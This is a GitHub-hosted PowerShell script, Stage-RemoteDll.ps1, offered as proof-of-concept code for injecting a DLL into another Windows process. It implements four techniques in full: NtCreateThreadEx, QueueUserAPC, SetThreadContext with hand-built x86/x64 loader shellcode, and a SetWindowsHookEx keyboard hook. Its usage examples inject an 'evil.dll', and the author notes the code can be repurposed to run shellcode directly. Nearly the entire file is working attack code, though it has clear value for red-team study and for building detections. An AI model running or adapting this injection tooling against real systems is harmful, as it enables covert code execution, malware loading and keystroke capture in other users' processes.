-
-
Notifications
You must be signed in to change notification settings - Fork 769
/
Copy pathStage-RemoteDll.ps1
885 lines (806 loc) · 27.7 KB
/
Stage-RemoteDll.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
function Stage-RemoteDll {
<#
.SYNOPSIS
Stage-RemoteDll is a small function to demonstrate various Dll injection techniques
(NtCreateThreadEx / QueueUserAPC / SetThreadContext / SetWindowsHookEx) on 32 and
64 bit architectures. While I have done some input validation & cleanup, this is
mostly POC code. Note also that these techniques can easily be repurposed to
directly execute shellcode in the remote process.
Notes:
- I tested these techniques using notepad on Win10 x64 RS2 and Win7 x32 SP1,
the recommended testing platform being Win10 x64.
- All methods can execute code from DllMain (DLL_PROCESS_ATTACH). Additionally,
SetWindowsHookEx places a WH_KEYBOARD hook procedure into the hook chain
which will execute an exported Dll function when pressing a key while the
main application window is in focus.
Caveats:
- I found that SetWindowsHookEx was not working on Win7 x32. If anyone has any
ideas I will update the script.
Reference:
- I wrote this mostly to educate myself, the contents of this script are based
on an excellent post by @fdiskyou => http://blog.deniable.org/blog/2017/07/16/inject-all-the-things/
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER ProcID
PID of the target process.
.PARAMETER DllPath
Path to the Dll (relative or full).
.PARAMETER Mode
NtCreateThreadEx / QueueUserAPC / SetThreadContext / SetWindowsHookEx.
.PARAMETER ExportedFunction
Exported function name in the Dll.
.EXAMPLE
# Boolean return value
C:\PS> $CallResult = Stage-RemoteDll -ProcID 1337 -DllPath .\Desktop\evil.dll -Mode NtCreateThreadEx
C:\PS> $CallResult
True
.EXAMPLE
C:\PS> Stage-RemoteDll -ProcID 1337 -DllPath .\Desktop\evil.dll -Mode NtCreateThreadEx -Verbose
VERBOSE: [+] Using NtCreateThreadEx
VERBOSE: [>] Opening notepad
VERBOSE: [>] Allocating DLL path memory
VERBOSE: [>] Writing DLL string
VERBOSE: [>] Locating LoadLibraryA
VERBOSE: [>] Creating remote thread
VERBOSE: [>] Cleaning up..
True
.EXAMPLE
C:\PS> Stage-RemoteDll -ProcID 1337 -DllPath .\Desktop\evil.dll -Mode QueueUserAPC -Verbose
VERBOSE: [+] Using QueueUserAPC
VERBOSE: [>] Opening notepad
VERBOSE: [>] Allocating DLL path memory
VERBOSE: [>] Writing DLL string
VERBOSE: [>] Locating LoadLibraryA
VERBOSE: [>] Getting process threads
VERBOSE: [>] Registering APC's with all threads
VERBOSE: --> Success, registered APC
VERBOSE: --> Success, registered APC
VERBOSE: --> Success, registered APC
VERBOSE: --> Success, registered APC
VERBOSE: [>] Cleaning up..
True
.EXAMPLE
C:\PS> Stage-RemoteDll -ProcID 1337 -DllPath .\Desktop\evil.dll -Mode SetThreadContext -Verbose
VERBOSE: [+] Using SetThreadContext
VERBOSE: [>] Opening notepad
VERBOSE: [>] Allocating shellcode memory
VERBOSE: [>] Allocating DLL path memory
VERBOSE: [>] Writing DLL string
VERBOSE: [>] Locating LoadLibraryA
VERBOSE: [>] Getting a process TID
VERBOSE: [>] Opening process TID
VERBOSE: [>] Suspending thread
VERBOSE: [>] Rewriting thread context
VERBOSE: [>] Allocating shellcode
VERBOSE: [>] Setting thread context & resuming
VERBOSE: [>] Cleaning up..
True
.EXAMPLE
C:\PS> Stage-RemoteDll -ProcID 1337 -DllPath .\Desktop\evil.dll -Mode SetWindowsHookEx -ExportedFunction pwnfunc -Verbose
VERBOSE: [+] Using SetWindowsHookEx
VERBOSE: [>] Loading payload DLL
VERBOSE: [>] Locating exported function
VERBOSE: [>] Locating process main window handle
VERBOSE: [>] Locating main window thread
VERBOSE: [>] Installing WH_KEYBOARD hook procedure
VERBOSE: [>] Waiting to release hook
VERBOSE: [>] Remote process executed hook
VERBOSE: [>] Cleaning up..
True
#>
[CmdletBinding()]
param (
[Parameter(Mandatory = $True)]
[int]$ProcID,
[Parameter(Mandatory = $True)]
[string]$DllPath,
[Parameter(Mandatory = $True)]
[ValidateSet(
'NtCreateThreadEx',
'QueueUserAPC',
'SetThreadContext',
'SetWindowsHookEx')
]
[string]$Mode,
[Parameter(Mandatory = $False)]
[string]$ExportedFunction
)
# Set inline CONTEXT32 or CONTEXT64
if (${Env:ProgramFiles(x86)}) {
$ContextStruct = "CONTEXT64"
} else {
$ContextStruct = "CONTEXT32"
}
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct FLOATING_SAVE_AREA
{
public uint ControlWord;
public uint StatusWord;
public uint TagWord;
public uint ErrorOffset;
public uint ErrorSelector;
public uint DataOffset;
public uint DataSelector;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)]
public byte[] RegisterArea;
public uint Cr0NpxState;
}
[StructLayout(LayoutKind.Sequential)]
public struct CONTEXT32
{
public uint ContextFlags;
public uint Dr0;
public uint Dr1;
public uint Dr2;
public uint Dr3;
public uint Dr6;
public uint Dr7;
public FLOATING_SAVE_AREA FloatSave;
public uint SegGs;
public uint SegFs;
public uint SegEs;
public uint SegDs;
public uint Edi;
public uint Esi;
public uint Ebx;
public uint Edx;
public uint Ecx;
public uint Eax;
public uint Ebp;
public uint Eip;
public uint SegCs;
public uint EFlags;
public uint Esp;
public uint SegSs;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)]
public byte[] ExtendedRegisters;
}
[StructLayout(LayoutKind.Explicit, Size=0x4d0)]
public struct CONTEXT64
{
[FieldOffset(0x0)] public ulong P1Home;
[FieldOffset(0x8)] public ulong P2Home;
[FieldOffset(0x10)] public ulong P3Home;
[FieldOffset(0x18)] public ulong P4Home;
[FieldOffset(0x20)] public ulong P5Home;
[FieldOffset(0x28)] public ulong P6Home;
[FieldOffset(0x30)] public uint ContextFlags;
[FieldOffset(0x34)] public uint MxCsr;
[FieldOffset(0x38)] public ushort SegCs;
[FieldOffset(0x3a)] public ushort SegDs;
[FieldOffset(0x3c)] public ushort SegEs;
[FieldOffset(0x3e)] public ushort SegFs;
[FieldOffset(0x40)] public ushort SegGs;
[FieldOffset(0x42)] public ushort SegSs;
[FieldOffset(0x44)] public uint EFlags;
[FieldOffset(0x48)] public ulong Dr0;
[FieldOffset(0x50)] public ulong Dr1;
[FieldOffset(0x58)] public ulong Dr2;
[FieldOffset(0x60)] public ulong Dr3;
[FieldOffset(0x68)] public ulong Dr6;
[FieldOffset(0x70)] public ulong Dr7;
[FieldOffset(0x78)] public ulong Rax;
[FieldOffset(0x80)] public ulong Rcx;
[FieldOffset(0x88)] public ulong Rdx;
[FieldOffset(0x90)] public ulong Rbx;
[FieldOffset(0x98)] public ulong Rsp;
[FieldOffset(0xa0)] public ulong Rbp;
[FieldOffset(0xa8)] public ulong Rsi;
[FieldOffset(0xb0)] public ulong Rdi;
[FieldOffset(0xb8)] public ulong R8;
[FieldOffset(0xc0)] public ulong R9;
[FieldOffset(0xc8)] public ulong R10;
[FieldOffset(0xd0)] public ulong R11;
[FieldOffset(0xd8)] public ulong R12;
[FieldOffset(0xe0)] public ulong R13;
[FieldOffset(0xe8)] public ulong R14;
[FieldOffset(0xf0)] public ulong R15;
[FieldOffset(0xf8)] public ulong Rip;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 976)]
[FieldOffset(0x100)] public byte[] ExtendedRegisters;
}
public static class Inject
{
/// NtDll
[DllImport("ntdll.dll")]
public static extern UInt32 NtCreateThreadEx(
ref IntPtr hThread,
UInt32 DesiredAccess,
IntPtr ObjectAttributes,
IntPtr ProcessHandle,
IntPtr lpStartAddress,
IntPtr lpParameter,
bool CreateSuspended,
UInt32 StackZeroBits,
UInt32 SizeOfStackCommit,
UInt32 SizeOfStackReserve,
IntPtr lpBytesBuffer);
/// Kernel32
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(
UInt32 processAccess,
bool bInheritHandle,
int processId);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
int flAllocationType,
int flProtect);
[DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
public static extern bool VirtualFreeEx(
IntPtr hProcess,
IntPtr lpAddress,
UInt32 dwSize,
UInt32 dwFreeType);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
ref UInt32 lpNumberOfBytesWritten);
[DllImport("kernel32.dll", CharSet=CharSet.Auto)]
public static extern IntPtr GetModuleHandle(
string lpModuleName);
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr GetProcAddress(
IntPtr hModule,
string procName);
[DllImport("kernel32.dll")]
public static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds);
[DllImport("kernel32.dll")]
public static extern bool VirtualFreeEx(
IntPtr hProcess,
IntPtr lpAddress,
int dwSize,
int dwFreeType);
[DllImport("kernel32.dll")]
public static extern bool CloseHandle(
IntPtr hObject);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenThread(
UInt32 dwDesiredAccess,
bool bInheritHandle,
uint dwThreadId);
[DllImport("kernel32.dll")]
public static extern bool QueueUserAPC(
IntPtr pfnAPC,
IntPtr hThread,
IntPtr dwData);
[DllImport("kernel32.dll")]
public static extern bool IsWow64Process(
IntPtr hProcess,
ref bool Wow64Process);
[DllImport("kernel32.dll")]
public static extern int SuspendThread(
IntPtr hThread);
[DllImport("kernel32.dll")]
public static extern bool GetThreadContext(
IntPtr hThread,
ref $ContextStruct lpContext);
[DllImport("kernel32.dll")]
public static extern bool SetThreadContext(
IntPtr hThread,
ref $ContextStruct lpContext);
[DllImport("kernel32.dll")]
public static extern uint ResumeThread(
IntPtr hThread);
[DllImport("kernel32.dll")]
public static extern IntPtr LoadLibraryEx(
string lpFileName,
IntPtr hReservedNull,
int dwFlags);
/// User32
[DllImport("user32.dll")]
public static extern uint GetWindowThreadProcessId(
IntPtr hWnd,
ref uint lpdwProcessId);
[DllImport("user32.dll")]
public static extern IntPtr SetWindowsHookEx(
int hookType,
IntPtr lpfn,
IntPtr hMod,
uint dwThreadId);
[DllImport("user32.dll")]
public static extern bool UnhookWindowsHookEx(
IntPtr hhk);
}
"@
function Invoke-AllTheChecks {
# Setup Dll vars
try {
$DllPath = (Resolve-Path $DllPath -ErrorAction Stop).Path
$AsciiDllPathArray = (New-Object System.Text.ASCIIEncoding).GetBytes($DllPath)
# Check Dll arch
$DllBytes = [System.IO.File]::ReadAllBytes($DllPath)
$Pe = [Int32] ('0x{0}' -f (($DllBytes[63..60] | % {$_.ToString('X2')}) -join ''))
$PeArch = [UInt16] ('0x{0}' -f (($DllBytes[($Pe+24+1)..($Pe+24)] | % {$_.ToString('X2')}) -join ''))
} catch {
$DllPath = $false
$AsciiDllPathArray = $false
$PeArch = $false
}
# Check PowerShell proc architecture
if ([IntPtr]::Size -eq 4) {
$PoshIs32 = $true
} else {
$PoshIs32 = $false
}
# Check machine architecture
if (${Env:ProgramFiles(x86)}) {
$OsIs32 = $false
} else {
$OsIs32 = $true
}
# Check PID exists
$GetProc = Get-Process -Id $ProcID -ErrorAction SilentlyContinue
if ($GetProc) {
$ProcIsValid = $true
# Get PID architecture
if ($OsIs32 -eq $false) {
# PROCESS_QUERY_LIMITED_INFORMATION
$hProc = [Inject]::OpenProcess(0x1000,$false,$ProcID)
$ProcIs32 = $False
$CallResult = [Inject]::IsWow64Process($hProc,[ref]$ProcIs32)
$CallResult = [Inject]::CloseHandle($hProc)
} else {
$ProcIs32 = $true
}
} else {
$ProcIsValid = $false
}
$HashTable = @{
DllPath = $DllPath
DllArch = $PeArch # 267=0x010b=x32/523=0x020b=x64
AsciiDllPathArray = $AsciiDllPathArray
PoshIs32 = $PoshIs32
OsIs32 = $OsIs32
ProcIsValid = $ProcIsValid
ProcIs32 = $ProcIs32
}
New-Object PSObject -Property $HashTable
}
# Do some input validation on function args
$PreRunChecks = Invoke-AllTheChecks
if ($PreRunChecks.ProcIsValid -eq $false) {
Write-Verbose "[!] Invalid process specified.."
$false
Return
}
if ($PreRunChecks.DllPath -eq $false) {
Write-Verbose "[!] Invalid Dll path specified.."
$false
Return
}
if ($PreRunChecks.ProcIs32 -eq $true -And $PreRunChecks.DllArch -eq 0x20b) {
Write-Verbose "[!] Cannot inject x64 Dll into x32 process.."
$false
Return
}
if ($PreRunChecks.ProcIs32 -eq $false -And $PreRunChecks.DllArch -eq 0x10b) {
Write-Verbose "[!] Cannot inject x32 Dll into x64 process.."
$false
Return
}
if ($PreRunChecks.OsIs32 -eq $false -And $PreRunChecks.ProcIs32 -eq $true) {
Write-Verbose "[!] Cannot inject into x32 process on x64 OS.."
$false
Return
}
if ($PreRunChecks.OsIs32 -eq $false -And $PreRunChecks.PoshIs32 -eq $true) {
Write-Verbose "[!] Cannot inject from x32 PowerShell on x64 OS.."
$false
Return
}
if ($Mode -eq "SetWindowsHookEx" -And !$ExportedFunction) {
Write-Verbose "[!] Calling SetWindowsHookEx requires an exported function.."
$false
Return
}
if ($Mode -eq "NtCreateThreadEx") {
# Print method
Write-Verbose "[+] Using NtCreateThreadEx"
## Get process handle
# => PROCESS_QUERY_INFORMATION|PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE
#--------
Write-Verbose "[>] Opening $($(Get-Process -PID $ProcID).ProcessName)"
$hProc = [Inject]::OpenProcess(0x42A,$false,$ProcID)
if ($hProc -eq [IntPtr]::Zero) {
Write-Verbose "[!] OpenProcess failed.."
$false
Return
}
## Alloc Dll string
#--------
Write-Verbose "[>] Allocating DLL path memory"
$pRemoteAlloc = [Inject]::VirtualAllocEx($hProc,[IntPtr]::Zero,$PreRunChecks.DllPath.Length,0x3000,4)
if ($pRemoteAlloc -eq [IntPtr]::Zero) {
Write-Verbose "[!] VirtualAllocEx failed.."
$false
Return
}
## Write Dll String
#--------
Write-Verbose "[>] Writing DLL string"
$CallResult = [Inject]::WriteProcessMemory($hProc,$pRemoteAlloc,$PreRunChecks.AsciiDllPathArray,$PreRunChecks.DllPath.Length,[ref]0)
if (!$CallResult) {
Write-Verbose "[!] WriteProcessMemory failed.."
$false
Return
}
## Get LoadLibraryA
#--------
Write-Verbose "[>] Locating LoadLibraryA"
$pLoadLibraryA = [Inject]::GetProcAddress($([Inject]::GetModuleHandle("kernel32.dll")),"LoadLibraryA")
if ($pLoadLibraryA -eq [IntPtr]::Zero) {
Write-Verbose "[!] GetProcAddress failed.."
$false
Return
}
## Create Thread
#--------
Write-Verbose "[>] Creating remote thread"
$hRemoteThread = [IntPtr]::Zero
$CallResult = [Inject]::NtCreateThreadEx([ref]$hRemoteThread,0x1FFFFF,[IntPtr]::Zero,$hProc,$pLoadLibraryA,$pRemoteAlloc,$false,0,0xffff,0xffff,[IntPtr]::Zero)
if ($hRemoteThread -eq [IntPtr]::Zero) {
Write-Verbose "[!] NtCreateThreadEx failed.."
$false
Return
} else {
Start-Sleep -s 2 # Not sure if needed, to ensure our thread finishes
# before we free. Can also use WaitForSingleObject
# but there is no added benefit..
}
## Clean up
#--------
Write-Verbose "[>] Cleaning up.."
$CallResult = [Inject]::VirtualFreeEx($hProc,$pRemoteAlloc,$PreRunChecks.DllPath.Length,0x8000) # MEM_RELEASE (0x8000)
$CallResult = [Inject]::CloseHandle($hRemoteThread)
$CallResult = [Inject]::CloseHandle($hProc)
$true
}
if ($Mode -eq "QueueUserAPC") {
# Print method
Write-Verbose "[+] Using QueueUserAPC"
## Get process handle
# => PROCESS_VM_OPERATION|PROCESS_VM_WRITE
#--------
Write-Verbose "[>] Opening $($(Get-Process -PID $ProcID).ProcessName)"
$hProc = [Inject]::OpenProcess(0x28,$false,$ProcID)
if ($hProc -eq [IntPtr]::Zero) {
Write-Verbose "[!] OpenProcess failed.."
$false
Return
}
## Alloc Dll string
#--------
Write-Verbose "[>] Allocating DLL path memory"
$pRemoteAlloc = [Inject]::VirtualAllocEx($hProc,[IntPtr]::Zero,$PreRunChecks.DllPath.Length,0x3000,4)
if ($pRemoteAlloc -eq [IntPtr]::Zero) {
Write-Verbose "[!] VirtualAllocEx failed.."
$false
Return
}
## Write Dll String
#--------
Write-Verbose "[>] Writing DLL string"
$CallResult = [Inject]::WriteProcessMemory($hProc,$pRemoteAlloc,$PreRunChecks.AsciiDllPathArray,$PreRunChecks.DllPath.Length,[ref]0)
if (!$CallResult) {
Write-Verbose "[!] WriteProcessMemory failed.."
$false
Return
}
## Get LoadLibraryA
#--------
Write-Verbose "[>] Locating LoadLibraryA"
$pLoadLibraryA = [Inject]::GetProcAddress($([Inject]::GetModuleHandle("kernel32.dll")),"LoadLibraryA")
if ($pLoadLibraryA -eq [IntPtr]::Zero) {
Write-Verbose "[!] GetProcAddress failed.."
$false
Return
}
## Get Process TID's
#--------
Write-Verbose "[>] Getting process threads"
$ProcTIDs = (Get-Process -Id $ProcID).Threads |Select -ExpandProperty Id
if ($ProcTIDs -eq 0) {
Write-Verbose "[!] No threads found in the target process"
$false
Return
}
## Open TID's and register APC
#--------
Write-Verbose "[>] Registering APC's with all threads"
$ProcTIDs |ForEach-Object {
# THREAD_SET_CONTEXT
$hThread = [Inject]::OpenThread(0x10,$false,$_)
if ($hThread -eq [IntPtr]::Zero) {
Write-Verbose " --> OpenThread failed.."
} else {
# Register APC
$CallResult = [Inject]::QueueUserAPC($pLoadLibraryA,$hThread,$pRemoteAlloc)
if (!$CallResult) {
Write-Verbose " --> QueueUserAPC failed.."
} else {
Write-Verbose " --> Success, registered APC"
$CallResult = [Inject]::CloseHandle($hThread)
}
}
}
## Clean up
#--------
Write-Verbose "[>] Cleaning up.."
$CallResult = [Inject]::CloseHandle($hProc)
$true
}
if ($Mode -eq "SetThreadContext") {
# Print method
Write-Verbose "[+] Using SetThreadContext"
## Get process handle
# => PROCESS_ALL_ACCESS
#--------
Write-Verbose "[>] Opening $($(Get-Process -PID $ProcID).ProcessName)"
$hProc = [Inject]::OpenProcess(0x1F0FFF,$false,$ProcID)
if ($hProc -eq [IntPtr]::Zero) {
Write-Verbose "[!] OpenProcess failed.."
$false
Return
}
## Alloc ScLoadLib space
#--------
Write-Verbose "[>] Allocating shellcode memory"
if ($PreRunChecks.OsIs32 -eq $true) {
$pRemoteScLoadLib = [Inject]::VirtualAllocEx($hProc,[IntPtr]::Zero,0x16,0x1000,0x40)
} else {
$pRemoteScLoadLib = [Inject]::VirtualAllocEx($hProc,[IntPtr]::Zero,0x57,0x1000,0x40)
}
if ($pRemoteScLoadLib -eq [IntPtr]::Zero) {
Write-Verbose "[!] VirtualAllocEx failed.."
$false
Return
}
## Alloc Dll string
#--------
Write-Verbose "[>] Allocating DLL path memory"
$pRemoteDll = [Inject]::VirtualAllocEx($hProc,[IntPtr]::Zero,$PreRunChecks.DllPath.Length,0x3000,0x40)
if ($pRemoteDll -eq [IntPtr]::Zero) {
Write-Verbose "[!] VirtualAllocEx failed.."
$false
Return
}
## Write Dll String
#--------
Write-Verbose "[>] Writing DLL string"
$CallResult = [Inject]::WriteProcessMemory($hProc,$pRemoteDll,$PreRunChecks.AsciiDllPathArray,$PreRunChecks.DllPath.Length,[ref]0)
if (!$CallResult) {
Write-Verbose "[!] WriteProcessMemory failed.."
$false
Return
}
## Get LoadLibraryA
#--------
Write-Verbose "[>] Locating LoadLibraryA"
$pLoadLibraryA = [Inject]::GetProcAddress($([Inject]::GetModuleHandle("kernel32.dll")),"LoadLibraryA")
if ($pLoadLibraryA -eq [IntPtr]::Zero) {
Write-Verbose "[!] GetProcAddress failed.."
$false
Return
}
## Get a TID for the process
#--------
Write-Verbose "[>] Getting a process TID"
$ProcTID = ((Get-Process -Id $ProcID).Threads)[0].Id
if (!$ProcTID) {
Write-Verbose "[!] No threads found in the target process.."
$false
Return
}
## Suspend TID and get context
#--------
# THREAD_GET_CONTEXT|THREAD_SET_CONTEXT|THREAD_SUSPEND_RESUME
Write-Verbose "[>] Opening process TID"
$hThread = [Inject]::OpenThread(0x1A,$false,$ProcTID)
if ($hThread -eq [IntPtr]::Zero) {
Write-Verbose "[!] OpenThread failed.."
$false
Return
} else {
Write-Verbose "[>] Suspending thread"
$CallResult = [Inject]::SuspendThread($hThread)
if ($CallResult -eq -1) {
Write-Verbose "[!] SuspendThread failed.."
$false
Return
}
$CONTEXT = New-Object $ContextStruct
$CONTEXT.ContextFlags = 0x10001
$CallResult = [Inject]::GetThreadContext($hThread,[ref]$CONTEXT)
Write-Verbose "[>] Rewriting thread context"
if ($CallResult -eq $false) {
Write-Verbose "[!] GetThreadContext failed.."
$false
Return
} else {
if ($PreRunChecks.OsIs32 -eq $true) {
$CurrentIP = $CONTEXT.Eip
$CONTEXT.Eip = [Int32]$pRemoteScLoadLib
$CONTEXT.ContextFlags = 0x10001
} else {
$CurrentIP = $CONTEXT.Rip
$CONTEXT.Rip = [Int64]$pRemoteScLoadLib
$CONTEXT.ContextFlags = 0x10001
}
}
}
## Fill in ScLoadLib vars
#--------
if ($PreRunChecks.ProcIs32 -eq $true) {
# 32bit loader (Size:22/0x16)
$ScLoadLib = [Byte[]] @(
0x68) + [System.BitConverter]::GetBytes([Int32]$CurrentIP) + @( # push ReturnAddress
0x9c, # pushfd
0x60, # pushad
0x68) + [System.BitConverter]::GetBytes([Int32]$pRemoteDll) + @( # push pDllPath
0xb8) + [System.BitConverter]::GetBytes([Int32]$pLoadLibraryA) + @( # mov eax, LoadLibraryA
0xff, 0xd0, # call eax
0x61, # popad
0x9d, # popfd
0xc3 # ret
)
} else {
# 64bit loader (Size:87/0x57)
$ScLoadLib = [Byte[]] @(
0x50, # push rax (save rax)
0x48, 0xB8) + [System.BitConverter]::GetBytes([Int64]$CurrentIP) + @( # mov rax, ReturnAddress
0x9c, # pushfq
0x51, # push rcx
0x52, # push rdx
0x53, # push rbx
0x55, # push rbp
0x56, # push rsi
0x57, # push rdi
0x41, 0x50, # push r8
0x41, 0x51, # push r9
0x41, 0x52, # push r10
0x41, 0x53, # push r11
0x41, 0x54, # push r12
0x41, 0x55, # push r13
0x41, 0x56, # push r14
0x41, 0x57, # push r15
0x68, 0xef,0xbe,0xad,0xde, # ShadowStack
0x48, 0xB9) + [System.BitConverter]::GetBytes([Int64]$pRemoteDll) + @( # mov rcx, pDllPath
0x48, 0xB8) + [System.BitConverter]::GetBytes([Int64]$pLoadLibraryA) + @( # mov rax, LoadLibraryA
0xFF, 0xD0, # call rax
0x58, # pop dummy
0x41, 0x5F, # pop r15
0x41, 0x5E, # pop r14
0x41, 0x5D, # pop r13
0x41, 0x5C, # pop r12
0x41, 0x5B, # pop r11
0x41, 0x5A, # pop r10
0x41, 0x59, # pop r9
0x41, 0x58, # pop r8
0x5F, # pop rdi
0x5E, # pop rsi
0x5D, # pop rbp
0x5B, # pop rbx
0x5A, # pop rdx
0x59, # pop rcx
0x9D, # popfq
0x58, # pop rax
0xC3 # ret
)
}
## Write ScLoadLib
#--------
Write-Verbose "[>] Allocating shellcode"
$CallResult = [Inject]::WriteProcessMemory($hProc,$pRemoteScLoadLib,$ScLoadLib,$ScLoadLib.Length,[ref]0)
if (!$CallResult) {
Write-Verbose "[!] WriteProcessMemory failed.."
$false
Return
}
## SetThreadContext & ResumeThread
#--------
Write-Verbose "[>] Setting thread context & resuming"
$CallResult = [Inject]::SetThreadContext($hThread,[ref]$CONTEXT)
if (!$CallResult) {
Write-Verbose "[!] SetThreadContext failed.."
$false
Return
}
$CallResult = [Inject]::ResumeThread($hThread)
if ($CallResult -eq -1) {
Write-Verbose "[!] ResumeThread failed.."
$false
Return
}
## Clean up
#--------
Write-Verbose "[>] Cleaning up.."
Start-Sleep -s 4 # Wait for shellcode to run
$CallResult = [Inject]::VirtualFreeEx($hProc,$pRemoteDll,$PreRunChecks.DllPath.Length,0x8000) # MEM_RELEASE (0x8000)
if ($PreRunChecks.OsIs32 -eq $true) {
$CallResult = [Inject]::VirtualFreeEx($hProc,$pRemoteScLoadLib,0x16,0x8000)
} else {
$CallResult = [Inject]::VirtualFreeEx($hProc,$pRemoteScLoadLib,0x57,0x8000)
}
$CallResult = [Inject]::CloseHandle($hThread)
$CallResult = [Inject]::CloseHandle($hProc)
$true
}
if ($Mode -eq "SetWindowsHookEx") {
# Print method
Write-Verbose "[+] Using SetWindowsHookEx"
## Locally load payload dll
#--------
Write-Verbose "[>] Loading payload DLL"
$hDll = [Inject]::LoadLibraryEx($PreRunChecks.DllPath,[IntPtr]::Zero,0x1)
if ($hDll -eq [IntPtr]::Zero) {
Write-Verbose "[!] LoadLibraryEx failed.."
$false
Return
}
## pExportedFunc
#--------
Write-Verbose "[>] Locating exported function"
$pExportedFunc = [Inject]::GetProcAddress($hDll,$ExportedFunction)
if ($pExportedFunc -eq [IntPtr]::Zero) {
Write-Verbose "[!] GetProcAddress failed.."
$false
Return
}
## Get main window handle for proc
#--------
Write-Verbose "[>] Locating process main window handle"
$hWindProc = (Get-Process -Id $ProcID).MainWindowHandle
if (!$hWindProc) {
Write-Verbose "[!] No Windows found for the target process.."
$false
Return
}
## Get TID for main Window handle
#--------
Write-Verbose "[>] Locating main window thread"
$TargetPid = 0
$WndTID = [Inject]::GetWindowThreadProcessId($hWindProc,[ref]$TargetPid)
if ($WndTID -eq 0) {
Write-Verbose "[!] GetWindowThreadProcessId failed.."
$false
Return
}
## Install WH_KEYBOARD hook
#--------
Write-Verbose "[>] Installing WH_KEYBOARD hook procedure"
$hHook = [Inject]::SetWindowsHookEx(0x2,$pExportedFunc,$hDll,$WndTID)
if ($hHook -eq [IntPtr]::Zero) {
Write-Verbose "[!] SetWindowsHookEx failed.."
$false
Return
}
## Clean up
#--------
Write-Verbose "[>] Waiting to release hook"
$DllName = ($DllPath -split "\\")[-1]
while ($((Get-process -Id $ProcID).Modules |Select -ExpandProperty ModuleName) -notcontains $DllName) {
Start-Sleep -Milliseconds 500
}
Write-Verbose "[>] Remote process executed hook"
Write-Verbose "[>] Cleaning up.."
$CallResult = [Inject]::UnhookWindowsHookEx($hHook)
$CallResult = [Inject]::CloseHandle($hDll)
$true
}
}